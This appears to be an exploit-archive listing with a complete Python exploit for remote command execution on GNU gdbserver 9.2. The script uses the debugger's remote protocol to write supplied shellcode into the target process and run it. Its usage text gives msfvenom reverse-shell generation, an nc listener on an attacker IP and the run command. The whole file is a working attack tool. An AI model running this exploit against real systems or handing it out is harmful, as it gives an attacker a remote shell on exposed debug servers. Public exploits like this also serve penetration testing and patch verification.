GNU gdbserver 9.2 Remote Command Execution

GNU gdbserver version 9.2 remote command execution exploit.


MD5 | be987b3baff2ae1c37e6c06f438713d3

# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3


import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver -> 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''


def checksum(s: str) -> str:
res = sum(map(ord, s)) % 256
return f'{res:2x}'


def ack(sock):
sock.send(b'+')


def send(sock, s: str) -> str:
sock.send(f'${s}#{checksum(s)}'.encode())
res = sock.recv(1024)
ack(sock)
return res.decode()


def exploit(sock, payload: str):
send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
send(sock, '!')

try:
res = send(sock, 'vCont;s')
data = res.split(';')[2]
arch, pc = data.split(':')
except Exception:
print('[!] ERROR: Unexpected response. Try again later')
exit(1)

if arch == '10':
print('[+] Found x64 arch')
pc = binascii.unhexlify(pc[:pc.index('0*')])
pc += b'\0' * (8 - len(pc))
addr = hex(struct.unpack('<Q', pc)[0])[2:]
addr = '0' * (16 - len(addr)) + addr
elif arch == '08':
print('[+] Found x86 arch')
pc = binascii.unhexlify(pc)
pc += b'\0' * (4 - len(pc))
addr = hex(struct.unpack('<I', pc)[0])[2:]
addr = '0' * (8 - len(addr)) + addr

hex_length = hex(len(payload))[2:]

print('[+] Sending payload')
send(sock, f'M{addr},{hex_length}:{payload}')
send(sock, 'vCont;c')


def main():
if len(sys.argv) < 3:
print(help)
exit(1)

ip, port = sys.argv[1].split(':')
file = sys.argv[2]

try:
with open(file, 'rb') as f:
payload = f.read().hex()
except FileNotFoundError:
print(f'[!] ERROR: File {file} not found')
exit(1)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((ip, int(port)))
print('[+] Connected to target. Preparing exploit')
exploit(sock, payload)
print('[*] Pwned!! Check your listener')


if __name__ == '__main__':
main()


Related Posts